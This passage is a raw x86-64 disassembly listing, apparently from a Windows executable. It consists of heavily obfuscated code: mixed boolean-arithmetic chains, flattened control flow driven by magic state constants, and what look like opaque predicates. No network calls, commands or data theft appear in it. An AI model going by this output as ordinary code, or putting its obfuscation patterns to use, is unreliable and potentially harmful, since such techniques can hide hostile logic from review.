or sil, r10b
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
xor al, 1
mov r9d, esi
and r9b, al
xor al, sil
or al, r9b
mov ecx, edx
xor cl, 1
or cl, dl
xor cl, 1
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov r9d, eax
xor r9b, dl
or dl, al
xor dl, 1
or dl, r9b
mov eax, edx
and dl, cl
xor cl, 1
xor al, 1
and al, cl
or dl, al
xor bl, dil
mov eax, r11d
xor al, 1
xor r11b, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, r11b
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov ecx, ebx
xor cl, 1
mov esi, edx
xor sil, 1
and dl, sil
mov r9d, esi
and r9b, dl
xor dl, sil
mov r10d, ecx
mov r11d, esi
and r11b, cl
xor sil, cl
and cl, bl
or dl, r9b
xor r10b, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, r10b
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and cl, dl
or cl, bl
or sil, r11b
xor sil, 1
mov edx, ecx
and dl, sil
xor sil, cl
or sil, dl
mov ecx, esi
xor cl, 1
mov edx, esi
or dl, cl
mov r10d, esi
and r10b, cl
mov r9d, ecx
xor r9b, r10b
mov ebx, r10d
xor bl, 1
mov eax, esi
or al, bl
xor al, 1
or al, r9b
xor al, dl
mov r9d, edx
and r9b, cl
xor dl, cl
or dl, r9b
xor dl, 1
mov r9d, eax
and r9b, dl
xor dl, al
or dl, r9b
mov eax, edx
xor al, 1
and al, dl
mov r9d, edx
and r9b, al
xor al, dl
or al, r9b
mov edx, eax
xor dl, 1
mov r9d, eax
and r9b, dl
xor dl, al
or dl, r9b
xor dl, 1
mov eax, edx
xor r10b, sil
or bl, cl
xor bl, 1
or bl, r10b
xor bl, dl
xor dl, sil
or al, sil
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, 1
and bl, al
or al, dl
and dl, cl
or dl, bl
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, ecx
xor bl, 1
or bl, cl
xor al, dl
and al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov r9d, eax
xor r9b, 1
mov edx, eax
or dl, r9b
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, dl
mov r10d, ebx
and r10b, cl
xor bl, cl
or bl, r10b
mov ecx, ebx
and cl, r9b
xor bl, 1
and bl, al
or bl, cl
mov eax, r9d
and al, dl
xor dl, r9b
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov ecx, edx
xor cl, 1
mov eax, ecx
or al, dl
and dl, al
xor al, 1
mov ebx, eax
xor bl, cl
and bl, al
and al, cl
or al, dl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
or al, cl
xor al, cl
and cl, al
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r9d, eax
xor r9b, 1
mov esi, r8d
xor sil, 1
mov r10d, esi
and r10b, r8b
mov r11d, esi
mov r14d, r10d
xor r14b, 1
mov ebx, r14d
and bl, r10b
mov edx, r14d
xor dl, bl
xor bl, 1
or bl, r10b
xor bl, 1
or bl, dl
mov edi, ebx
xor dil, 1
and dil, sil
xor r14b, sil
or r14b, sil
and sil, r10b
xor r11b, r10b
or r11b, sil
mov edx, r9d
and dl, al
mov r10d, r9d
xor r10b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r10b
xor r11b, 1
xor dl, 1
mov ecx, r11d
xor cl, dl
and dl, r11b
mov r10d, ecx
xor r10b, 1
or dl, cl
xor cl, dl
xor cl, 1
or dl, r10b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov r10d, edx
xor r10b, cl
or cl, dl
xor cl, 1
or cl, r10b
and bl, r8b
or bl, dil
mov edx, r14d
xor dl, bl
xor bl, 1
or bl, r14b
mov r8d, ecx
xor r8b, 1
xor dl, 1
xor bl, 1
or bl, dl
and r9b, bl
xor bl, 1
and bl, al
or bl, r9b
mov edx, ebx
xor dl, 1
mov r9d, r8d
and r9b, dl
mov eax, r8d
xor al, dl
or al, r9b
and dl, bl
mov r9d, edx
and r9b, bl
xor dl, bl
or dl, r9b
and r8b, dl
xor dl, 1
and dl, cl
or dl, r8b
mov ecx, eax
xor cl, dl
xor dl, 1
or dl, al
xor cl, 1
mov ebx, edx
xor bl, cl
test cl, 1
mov eax, 0xb6d659eb
mov edi, 0x12c3258d
cmovne eax, edi
test dl, 1
mov ecx, 0xb6d659eb
cmovne eax, ecx
test bl, 1
cmove eax, edi
cmp eax, 0xf65f02e7
jg 0x140001cdb
jmp 0x140004d70
mov eax, 0xbd043502
mov dword [rbp - 0x44], 0xfffffffe
cmp eax, 0xf65f02e7
jg 0x140001cdb
jmp 0x140004d70
mov eax, 0x3c063c5c
cmp eax, 0xf65f02e7
jg 0x140001cdb
jmp 0x140004d70
mov eax, dword [0x1400508d0]
lea r9d, [rax - 1]
imul r9d, eax
mov r15d, r9d
not r15d
mov ecx, r15d
and ecx, r9d
mov eax, r15d
and eax, ecx
xor ecx, r15d
or ecx, eax
mov eax, ecx
not eax
and eax, 0x4429d3c
xor ecx, 0xfbbd62c3
or ecx, eax
mov eax, ecx
not eax
and eax, 0x4d328079
and ecx, 0xb2cd7f86
or ecx, eax
mov edi, ecx
xor edi, 0xb2cd7f86
xor ecx, 0x4d308020
mov eax, r15d
and eax, 0xacc1ca3d
mov edx, r9d
and edx, 0x533e35c2
or edx, eax
xor edx, 0x577ca8fe
mov r14d, edx
xor r14d, r15d
and r14d, edx
and ecx, 0xcff8b826
mov eax, edi
and eax, 0x300747d9
or eax, ecx
mov r10d, eax
xor r10d, 0x300747d9
mov r11d, r14d
not r11d
mov edx, eax
xor edx, 0x530d76e4
and edx, r10d
and edi, 0x630a313d
mov ecx, r11d
and ecx, 0x9cf5cec2
mov ebx, r14d
xor ebx, 0x9cf5cec2
and ebx, r14d
mov esi, edx
and esi, edi
xor edi, edx
or edi, esi
mov edx, ecx
and edx, ebx
xor ebx, ecx
or ebx, edx
mov ecx, edi
not ecx
and ecx, 0x36a98f12
and edi, 0xc95670ed
or edi, ecx
mov ecx, ebx
not ecx
and ecx, 0x36a98f12
and ebx, 0xc95670ed
or ebx, ecx
xor ebx, edi
xor eax, 0xcff8b826
mov ecx, eax
and ecx, 0x118e7238
and r10d, 0xee718dc7
or r10d, ecx
or eax, r14d
and r14d, 0x118e7238
and r11d, 0xee718dc7
or r11d, r14d
xor r11d, r10d
not eax
or eax, r11d
not eax
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, eax
not ecx
or eax, 0xfbbd62c3
mov edx, eax
not edx
or ecx, 0x4429d3c
mov ebx, ecx
not ebx
and eax, 0x2e874a63
and edx, 0x40951c
or edx, eax
and ecx, 0x2e874a63
and ebx, 0xd1382080
or ebx, ecx
xor ebx, edx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xea2c8b3e
and eax, ebx
and ebx, 0x15d374c1
or ebx, ecx
mov ecx, ebx
xor ecx, 0x1104040
xor ebx, 0xea2c8b3e
mov edx, eax
not edx
mov edi, ebx
and edi, 0x54e7b597
and ecx, 0xab184a68
or ecx, edi
or ebx, edx
and edx, 0x54e7b597
and eax, 0xab184a68
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
mov eax, ebx
not eax
or ebx, 0x837aa8a2
mov ecx, ebx
not ecx
or eax, 0x7c85575d
mov edx, eax
not edx
and ebx, 0x8eb13275
and ecx, 0x70044508
or ecx, ebx
and eax, 0x8eb13275
and edx, 0x14a8882
or edx, eax
xor edx, ecx
mov eax, edx
and eax, 0x7c85575d
not edx
and edx, 0x837aa8a2
or edx, eax
mov eax, edx
not eax
and edx, 0x183d9cd1
and eax, 0xe7c2632e
or eax, edx
mov r8d, eax
xor r8d, 0xe7c2632e
mov ebx, eax
xor ebx, 0x183d9cd1
mov ecx, r15d
or ecx, 0xfd064349
mov edi, ecx
not edi
mov edx, r9d
or edx, 0x290a030
and edx, 0xe392a330
mov esi, r15d
and esi, 0x1c044049
or esi, edx
and ecx, 0xe392a330
and edi, 0x691c86
or edi, ecx
xor edi, esi
mov ecx, edi
not ecx
and ecx, 0xf5b5e3d8
and edi, 0xa4a1c27
or edi, ecx
mov ecx, edi
xor ecx, 0xf74c5f6e
and r15d, 0xca8f792
and r9d, 0xf357086d
or r9d, r15d
mov edx, r9d
xor edx, 0xf357086d
xor edi, 0x8b3a091
and edx, edi
xor r9d, 0xca8f792
and r9d, ecx
or r9d, edx
xor edi, r9d
and edi, r9d
mov r15d, r8d
xor eax, 0x8a6da5e1
and eax, r8d
mov ecx, ebx
and ecx, 0x3ece255d
and r8d, 0xc131daa2
or r8d, ecx
not r8d
or r8d, ebx
and ebx, 0x690bc6c3
and r15d, 0x4a4000c
or r15d, ebx
mov ecx, r15d
xor ecx, 0xa40000
xor r15d, 0xfb5bfff3
mov edx, eax
not edx
mov ebx, r15d
and ebx, 0x9d03b0bc
and ecx, 0x60ac4643
or ecx, ebx
or r15d, edx
and edx, 0x9d03b0bc
and eax, 0x62fc4f43
or eax, edx
xor eax, ecx
not r15d
or r15d, eax
mov eax, r15d
not eax
and eax, 0x92503930
and r15d, 0x6dafc6cf
or r15d, eax
mov eax, edi
not eax
mov r11d, edi
mov ecx, eax
and ecx, 0x3ece255d
and edi, 0xc131daa2
or edi, ecx
not edi
or edi, eax
and eax, 0x53309bf4
and r11d, 0xaccf640b
or r11d, eax
mov eax, r11d
not eax
and eax, 0xfdb1c2d9
and r11d, 0x24e3d26
or r11d, eax
mov r10d, r11d
xor r10d, 0x517ea6d2
mov eax, r15d
not eax
mov dword [rbp - 0x28], eax
and eax, 0x8fd2c75e
mov ecx, r15d
and ecx, 0x702d38a1
or ecx, eax
mov eax, ecx
xor eax, 0x702d38a1
xor ecx, 0x8128340
and ecx, 0x381ba3e1
mov edx, eax
and edx, 0xc7e45c1e
or edx, ecx
xor edx, 0xf92a7943
and eax, 0xc131daa2
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x1022fd77
and eax, 0xefdd0288
or eax, ecx
mov ebx, eax
xor ebx, 0xefdd0288
xor r11d, 0xae81592d
mov ecx, r11d
and ecx, 0x18043a23
mov edx, r10d
and edx, 0xe7fbc5dc
or edx, ecx
xor edx, 0xd935e081
mov r13d, edx
xor r13d, r11d
and r13d, edx
mov r9d, eax
xor r9d, 0x1022fd77
xor eax, 0xeb7a285d
mov ecx, eax
and ecx, r9d
and eax, ebx
mov esi, ecx
not esi
mov edx, esi
and edx, 0x705b6ba6
and ecx, 0x8fa49459
or ecx, edx
mov edx, eax
not edx
or esi, edx
and edx, 0x705b6ba6
and eax, 0x8fa49459
or eax, edx
mov edx, r8d
xor edx, 0xfb58d52a
xor eax, ecx
mov r14d, edx
and r14d, r8d
not esi
or esi, eax
mov ecx, r14d
not ecx
mov eax, ecx
and eax, 0x11d1e342
and r14d, 0xee2e1cbd
or r14d, eax
mov r12d, r8d
not r12d
and edx, r12d
mov eax, edx
not eax
or ecx, eax
and eax, 0x11d1e342
and edx, 0xee2e1cbd
or edx, eax
xor edx, r14d
not ecx
or ecx, edx
mov eax, esi
not eax
and eax, 0xa76240fe
and esi, 0x589dbf01
or esi, eax
mov eax, ecx
not eax
and eax, 0xa76240fe
and ecx, 0x589dbf01
or ecx, eax
mov r14d, edi
not r14d
xor ecx, esi
mov eax, ebx
and eax, 0x3dddd731
and r9d, 0xc22228ce
or r9d, eax
or ebx, r12d
and r12d, 0x3dddd731
and r8d, 0xc22228ce
or r8d, r12d
xor r8d, r9d
not ebx
or ebx, r8d
mov eax, ebx
not eax
mov r12d, ecx
not r12d
mov edx, r12d
and edx, 0xedf56823
and ecx, 0x120a97dc
or ecx, edx
or r12d, ebx
and ebx, 0xedf56823
and eax, 0x120a97dc
or eax, ebx
xor eax, ecx
not r12d
or r12d, eax
mov eax, r13d
or eax, 0xc53b6bda
mov ecx, eax
not ecx
mov edx, r13d
xor edx, 0x3ac49425
and edx, r13d
mov esi, r14d
or esi, 0xc53b6bda
mov ebx, eax
and ebx, 0x72ffce62
and ecx, 0x8001005
or ecx, ebx
mov ebx, edx
not ebx
or eax, ebx
and ebx, 0x72ffce62
and edx, 0x8d00319d
or edx, ebx
mov ebx, esi
not ebx
xor edx, ecx
mov ecx, edi
xor ecx, 0xc53b6bda
and ecx, r14d
not eax
or eax, edx
mov edx, esi
and edx, 0xd7c33a5
and ebx, 0x32808400
or ebx, edx
mov edx, ecx
not edx
or esi, edx
and edx, 0xd7c33a5
and ecx, 0xf283cc5a
or ecx, edx
xor ecx, ebx
mov r9d, dword [0x1400508cc]
not esi
or esi, ecx
mov ecx, eax
not ecx
and ecx, esi
not esi
and esi, eax
mov eax, r13d
not eax
or esi, ecx
mov ecx, r13d
and ecx, 0x9683edb7
and eax, 0x697c1248
or eax, ecx
or r13d, r14d
and r14d, 0x9683edb7
and edi, 0x697c1248
or edi, r14d
xor edi, eax
not r13d
or r13d, edi
mov eax, r13d
not eax
and eax, 0x5f86a30e
and r13d, 0xa0795cf1
or r13d, eax
mov eax, r13d
xor eax, 0xa07140b0
xor r13d, 0x5f86a30e
mov edi, esi
not edi
mov ecx, edi
and ecx, 0x160a9c4b
and esi, 0xe9f563b4
or esi, ecx
or edi, r13d
and r13d, 0x160a9c4b
and eax, 0xe9f563b4
or eax, r13d
xor eax, esi
not edi
or edi, eax
mov ebx, r12d
not ebx
mov esi, r12d
xor esi, 0x3007f268
and esi, r12d
mov r14d, edi
mov eax, edi
xor eax, 0x3007f268
and eax, edi
not edi
and edi, 0x30077060
and r14d, 0x8208
or r14d, edi
mov edi, r14d
xor edi, 8
xor r14d, 0xffff7df7
or r12d, 0xcff80d97
mov ecx, r12d
and ecx, 0x7ca451e1
and ebx, 0x3a208
or ebx, ecx
mov ecx, esi
not ecx
or r12d, ecx
and ecx, 0x7ca451e1
and esi, 0x835bae1e
or esi, ecx
xor esi, ebx
not r12d
or r12d, esi
mov ecx, eax
not ecx
mov ebx, r14d
and ebx, 0x2e429694
and edi, 0x10056068
or edi, ebx
or r14d, ecx
and ecx, 0x2e429694
and eax, 0xd1bd696b
or eax, ecx
xor eax, edi
not r14d
or r14d, eax
mov eax, r12d
not eax
and eax, 0x94c43074
and r12d, 0x6b3bcf8b
or r12d, eax
mov eax, r14d
not eax
and eax, 0x94c43074
and r14d, 0x6b3bcf8b
or r14d, eax
xor r14d, r12d
mov eax, r11d
and eax, 0xe7685fc9
and r10d, 0x1897a036
or r10d, eax
mov r8d, r10d
xor r8d, 0x8868036
mov ecx, r15d
xor ecx, 0xb1708080
mov edx, dword [rbp - 0x28]
and ecx, edx
mov esi, r15d
and esi, 0x4e8f7f7f
xor r10d, 0xe7685fc9
mov edi, r10d
or edi, 0x4e8f7f7f
mov ebx, edi
not ebx
or r11d, 0xb1708080
mov eax, ecx
and eax, esi
xor esi, ecx
mov ecx, r11d
not ecx
or esi, eax
and edi, 0x13f8c999
and ebx, 0xa0000000
or ebx, edi
and r11d, 0x13f8c999
and ecx, 0x4c073666
or ecx, r11d
xor ecx, ebx
mov eax, esi
not eax
and eax, ecx
not ecx
and ecx, esi
or ecx, eax
mov eax, r15d
and eax, 0xd0116900
and edx, 0x2fee96ff
or edx, eax
or r15d, r10d
and r10d, 0xd0116900
and r8d, 0x2fee96ff
or r8d, r10d
xor r8d, edx
not r15d
or r15d, r8d
not r15d
mov eax, ecx
and eax, r15d
xor r15d, ecx
or r15d, eax
mov eax, r15d
not eax
and eax, 0x45ff6120
and r15d, 0xba009edf
or r15d, eax
mov eax, r15d
xor eax, 0x100016c0
xor r15d, 0x45270000
and r15d, 0xef27881f
and eax, 0x10d877e0
or eax, r15d
mov ebx, eax
xor ebx, 0x1000809
xor eax, 0x10d877e0
mov ecx, r14d
xor ecx, eax
and ecx, r14d
mov edx, r14d
not edx
and edx, 0xfe379376
and r14d, 0x1c86c89
or r14d, edx
and eax, 0xfe379376
and ebx, 0x1c86c89
or ebx, eax
xor ebx, r14d
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov edx, ebx
not edx
mov eax, edx
and eax, 0x1f18d524
mov ecx, ebx
and ecx, 0xe0e72adb
or ecx, eax
mov r11d, ecx
xor r11d, 0xe0e72adb
xor ecx, 0x17188500
and ecx, 0x77bfa751
mov eax, r11d
and eax, 0x884058ae
or eax, ecx
mov ecx, eax
xor ecx, 0x884058ae
mov edi, eax
xor edi, 0x5d34cd1a
and edi, ecx
and r11d, 0xd57495b4
mov esi, edi
and esi, r11d
xor r11d, edi
or r11d, esi
mov edi, r11d
not edi
and edi, 0xbcb112f3
and r11d, 0x434eed0c
or r11d, edi
mov edi, r11d
xor edi, 0x60858b8
and ecx, 0xfffffffe
xor eax, 0x77bfa750
or eax, ecx
mov ecx, eax
not ecx
xor r11d, 0x69c58746
mov esi, r11d
and esi, 0xd0b2a407
and edi, 0x2f4d5bf8
or edi, esi
or r11d, eax
and eax, 0xd0b2a407
and ecx, 0x2f4d5bf8
or ecx, eax
xor ecx, edi
not r11d
or r11d, ecx
mov eax, r11d
not eax
and eax, 0x1003223c
mov ecx, r11d
and ecx, 0x1b001c2
or ecx, eax
xor ecx, 0x1b001c2
and r11d, 0xee4cdc01
or r11d, ecx
mov eax, r11d
not eax
and eax, 0xde5d3dab
and r11d, 0x21a2c254
or r11d, eax
mov eax, r11d
xor eax, 0x30116080
xor r11d, 0xcfee1e55
mov ecx, r11d
and ecx, 0x4d80856b
and eax, 0xb27f7a94
or eax, ecx
xor eax, 0x4d80856b
xor r11d, eax
and r11d, eax
mov eax, edx
and eax, 0x4280910
mov ecx, ebx
and ecx, 0x20140a0
or ecx, eax
xor ecx, 0x20140a0
mov eax, ebx
and eax, 0xf9d6b64f
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xf9d6b64f
and eax, 0x62949b0
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x92900712
xor eax, 0x6d6ff8ed
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x92866ead
and eax, 0x6d799152
or eax, ecx
mov esi, eax
xor esi, 0x6d799152
and edx, 0x2af45b8c
and ebx, 0xd50ba473
or ebx, edx
mov edi, ebx
xor edi, 0xd50ba473
xor ebx, 0x2a605284
and ebx, 0x2b6af6e6
mov ecx, edi
and ecx, 0xd4950919
or ecx, ebx
xor ecx, 0x46050e0b
and edi, 0x6d6ff8ed
or edi, ecx
mov ebx, edi
not ebx
mov r8d, eax
xor r8d, 0x92866ead
mov ecx, edi
and ecx, 0x7484630d
and ebx, 0x8b7b9cf2
or ebx, ecx
mov r10d, ebx
xor r10d, 0x8b7b9cf2
xor eax, 0x767e0160
and eax, esi
or esi, 0xe4f86fcd
mov ecx, esi
not ecx
xor ebx, 0x6f83f33f
and ebx, r10d
or edi, 0x1b079032
mov r14d, edi
not r14d
mov edx, eax
not edx
mov r15d, esi
and r15d, 0x75f135d9
and ecx, 0xa068022
or ecx, r15d
or esi, edx
and edx, 0x75f135d9
and eax, 0x8a0eca26
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x709c7dba
and ebx, 0x8f638245
or ebx, ecx
or eax, edi
and edi, 0x709c7dba
and r14d, 0x84600245
or r14d, edi
xor r14d, ebx
not eax
or eax, r14d
mov ecx, esi
not ecx
and ecx, 0x971cb363
and esi, 0x68e34c9c
or esi, ecx
mov ecx, eax
not ecx
and ecx, 0x971cb363
and eax, 0x68e34c9c
or eax, ecx
xor eax, esi
mov ecx, r8d
and ecx, r10d
xor r10d, r8d
or r10d, ecx
mov ecx, r10d
not ecx
mov edx, eax
not edx
mov ebx, edx
and ebx, 0xaac5571f
and eax, 0x553aa8e0
or eax, ebx
or edx, r10d
and r10d, 0xaac5571f
and ecx, 0x553aa8e0
or ecx, r10d
xor ecx, eax
not edx
or edx, ecx
mov ecx, edx
xor ecx, 0x92900713
and ecx, edx
not edx
and edx, 0x92900713
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov r8d, ecx
mov r10d, ecx
mov eax, ecx
xor eax, 0xe5973eab
and eax, ecx
mov esi, ecx
not esi
mov ebx, r11d
mov ecx, r11d
mov edi, r11d
xor edi, 0xe5973eab
and edi, r11d
not r11d
mov edx, r11d
and edx, 0x788a7483
and ebx, 0x87758b7c
or ebx, edx
and r8d, 0x788a7483
mov edx, esi
and edx, 0x87758b7c
or edx, r8d
xor edx, ebx
not edx
or edx, r11d
mov r8d, edx
not r8d
and r11d, 0xe0000aa8
and ecx, 0x5973403
or ecx, r11d
mov ebx, ecx
xor ebx, 0x4970400
xor ecx, 0xfa68cbfc
and esi, 0x401526a9
and r10d, 0xa5821802
or r10d, esi
xor r10d, 0xa5821802
mov esi, edi
not esi
mov r11d, ecx
and r11d, 0x49203ac3
and ebx, 0xa4970428
or ebx, r11d
or ecx, esi
and esi, 0x49203ac3
and edi, 0xb6dfc53c
or edi, esi
xor edi, ebx
not ecx
or ecx, edi
mov ebx, r10d
and ebx, eax
xor eax, r10d
or eax, ebx
mov ebx, ecx
not ebx
and ebx, 0x6172ca57
and ecx, 0x9e8d35a8
or ecx, ebx
mov ebx, eax
not ebx
and ebx, 0x6172ca57
and eax, 0x9e8d35a8
or eax, ebx
xor eax, ecx
mov ebx, eax
not ebx
mov r14d, edx
or r14d, ebx
mov ecx, r14d
not ecx
and edx, 0x73e1eb23
and r8d, 0x8c1e14dc
or r8d, edx
and ebx, 0x73e1eb23
and eax, 0x8c1e14dc
or eax, ebx
xor eax, r8d
mov edx, eax
not edx
mov edi, r14d
and edi, 0x27e845ad
and ecx, 0xd817ba52
or ecx, edi
or r14d, edx
and edx, 0x27e845ad
and eax, 0xd817ba52
or eax, edx
xor eax, ecx
not r14d
or r14d, eax
mov r8d, r14d
not r8d
mov ecx, r8d
and ecx, 0x25504c10
mov eax, r14d
and eax, 0xa020387
or eax, ecx
mov ecx, eax
xor ecx, 0x8020285
xor eax, 0xf5fdfc78
mov edx, r14d
xor edx, 0x2f524f97
and edx, r14d
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xe6b00d2a
and ecx, 0x9424295
or ecx, edi
or eax, ebx
and ebx, 0xe6b00d2a
and edx, 0x194ff2d5
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xd0adb068
and eax, 0x2f524f97
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x67dbec95
and eax, 0x9824136a
or eax, ecx
mov ebx, eax
xor ebx, 0x9824136a
xor eax, 0x474a0881
and eax, 0xcf4a0acb
mov ecx, ebx
and ecx, 0x30b5f534
or ecx, eax
xor ecx, 0x787caba4
and ebx, 0xb736a16f
or ebx, ecx
mov eax, r8d
and eax, 0x8f9e8298
mov edi, r14d
and edi, 0x70617d67
or edi, eax
xor edi, 0x38a823f7
or edi, r8d
mov r10d, edi
mov r12d, ebx
mov ecx, edi
xor ecx, 0xd840397a
mov r11d, ecx
and r11d, edi
mov r15d, ebx
and r15d, edi
xor edi, ebx
not ebx
not r10d
xor r12d, 0xd840397a
and r12d, ebx
or ebx, 0xd840397a
mov esi, ebx
not esi
and ecx, r10d
mov edx, r12d
not edx
mov eax, ebx
and eax, 0xae1fb2e7
and esi, 0x1a04400
or esi, eax
or ebx, edx
and edx, 0xae1fb2e7
and r12d, 0x51e04d18
or r12d, edx
xor r12d, esi
not ebx
or ebx, r12d
mov edx, r11d
and edx, ecx
xor ecx, r11d
or ecx, edx
mov edx, ebx
not edx
and edx, ecx
not ecx
and ecx, ebx
or ecx, edx
or edi, r15d
mov edx, edi
not edx
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0xdad85de3
and ecx, 0x2527a21c
or ecx, ebx
or eax, edi
and edi, 0xdad85de3
and edx, 0x2527a21c
or edx, edi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xb736a16f
and eax, 0x48c95e90
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x32be96b1
and edx, eax
not eax
and eax, 0x22a29421
and ecx, 0x101c0290
or ecx, eax
xor ecx, 0x101c0290
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0xcd41694e
and edx, 0x32be96b1
or edx, eax
mov ecx, edx
not ecx
mov eax, edx
xor eax, 0x44fa8d56
and eax, ecx
mov ebx, edx
and ebx, 0xbb0572a9
mov edi, eax
and edi, ebx
xor ebx, eax
or ebx, edi
mov eax, ebx
and eax, 0xbca56084
not ebx
and ebx, 0x435a9f7b
or ebx, eax
and edx, 0x1eec2d54
mov eax, ecx
and eax, 0xe113d2ab
or eax, edx
xor eax, 0xe6b3c086
and ecx, 0xf85fedd2
or ecx, eax
mov eax, ecx
not eax
and eax, 0x6fba601d
and ecx, 0x90459fe2
or ecx, eax
mov edx, ecx
xor edx, 0x448322
xor ecx, 0x6fba601d
mov eax, ebx
not eax
mov edi, eax
and edi, 0xb2bb1cd8
and ebx, 0x4d44e327
or ebx, edi
or eax, ecx
and ecx, 0xb2bb1cd8
and edx, 0x4d44e327
or edx, ecx
xor edx, ebx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x7ebf7eb2
and ecx, 0x8140814d
or ecx, edi
or eax, ebx
and ebx, 0x7ebf7eb2
and edx, 0x8140814d
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xba66774d
and eax, 0x459988b2
or eax, ecx
mov ecx, eax
xor ecx, 0x451000a0
xor eax, 0x10061644
and eax, 0x108f9e56
and ecx, 0xef7061a9
or ecx, eax
mov r11d, ecx
xor r11d, 0x108f0412
xor ecx, 0xec204001
and ecx, 0xec20da45
and r11d, 0x13df25ba
or r11d, ecx
mov r10d, r11d
xor r10d, 0x13df25ba
xor r11d, 0xec20da45
mov ecx, r8d
and ecx, 0xbc1c406
and r14d, 0xf43e3bf9
or r14d, ecx
mov ecx, r14d
xor ecx, 0x21110
xor r14d, 0x8010002
or r8d, 0x3d677313
mov edx, r8d
not edx
or r14d, 0xc200806c
and r14d, 0xfe25a26f
and ecx, 0x1425110
or ecx, r14d
and r8d, 0xfe25a26f
and edx, 0x980c80
or edx, r8d
xor edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc2988cec
and edx, 0x3d677313
or edx, ecx
mov r8d, edx
not r8d
mov esi, edx
xor esi, 0x97e63132
mov ebx, esi
and ebx, r8d
and esi, edx
mov edi, ebx
not edi
mov eax, esi
not eax
mov ecx, edi
and ecx, 0x1fca9c6e
and ebx, 0xe0356391
or ebx, ecx
or edi, eax
and eax, 0x1fca9c6e
and esi, 0xe0356391
or esi, eax
xor esi, ebx
not edi
or edi, esi
mov eax, edi
not eax
and eax, 0x4a3ccf1b
and edi, 0xb5c330e4
or edi, eax
xor edi, 0x258513fb
and r8d, 0x7a0122d
xor edx, 0xf85fedd2
or edx, r8d
not edx
mov eax, edi
and eax, edx
xor edx, edi
or edx, eax
mov eax, edx
not eax
and eax, 0x8635bc8
mov ecx, edx
and ecx, 0x30088410
or ecx, eax
xor ecx, 0x30088410
and edx, 0xc7942027
or edx, ecx
mov eax, edx
not eax
and eax, 0xcdf8540e
and edx, 0x3207abf1
or edx, eax
mov eax, edx
xor eax, 0x8402421
xor edx, 0xb4820a16
and edx, 0xb6ae5a1e
and eax, 0x4951a5e1
or eax, edx
mov ecx, eax
xor ecx, 0x49410160
xor eax, 0x948c101a
and eax, 0x949cb49b
and ecx, 0x6b634b64
or ecx, eax
mov r14d, ecx
xor r14d, 0x949cb49b
mov esi, ecx
xor esi, 0x6b634b64
mov r8d, r14d
and r8d, 0xb862849a
mov edi, esi
xor ecx, 0xdd0461ad
and ecx, esi
and esi, 0x479d7b65
or esi, r8d
mov eax, esi
xor eax, 0x41805324
mov ebx, r11d
and ebx, 0x1e7d28db
mov edx, r10d
and edx, 0xe182d724
or edx, ebx
xor esi, 0x1860009a
and esi, 0x1e7d28db
and eax, 0xe182d724
or eax, esi
xor eax, edx
mov esi, eax
xor esi, r11d
and esi, eax
and r11d, 0xb6672ac9
and r10d, 0x4998d536
or r10d, r11d
and r14d, 0xc06ed889
and edi, 0x3f912776
or edi, r14d
mov eax, edi
xor eax, 0x3f912776
xor edi, 0x7609f240
and edi, eax
mov edx, edi
not edx
mov eax, ecx
not eax
mov ebx, edx
and ebx, 0xd3042436
and edi, 0x2cfbdbc9
or edi, ebx
or edx, eax
and eax, 0xd3042436
and ecx, 0x2cfbdbc9
or ecx, eax
xor ecx, edi
not edx
or edx, ecx
mov eax, r10d
not eax
and eax, 0x195d80cd
and r10d, 0xe6a27f32
or r10d, eax
mov eax, edx
not eax
and eax, 0x195d80cd
and edx, 0xe6a27f32
or edx, eax
xor edx, r10d
mov ebx, esi
mov edi, esi
xor edi, 0x2792a66b
and edi, esi
not esi
and esi, 0xb4a118ea
and ebx, 0x4b5ee715
or ebx, esi
mov r8d, ebx
xor r8d, 0x4b5ee715
mov r10d, edx
mov ecx, edx
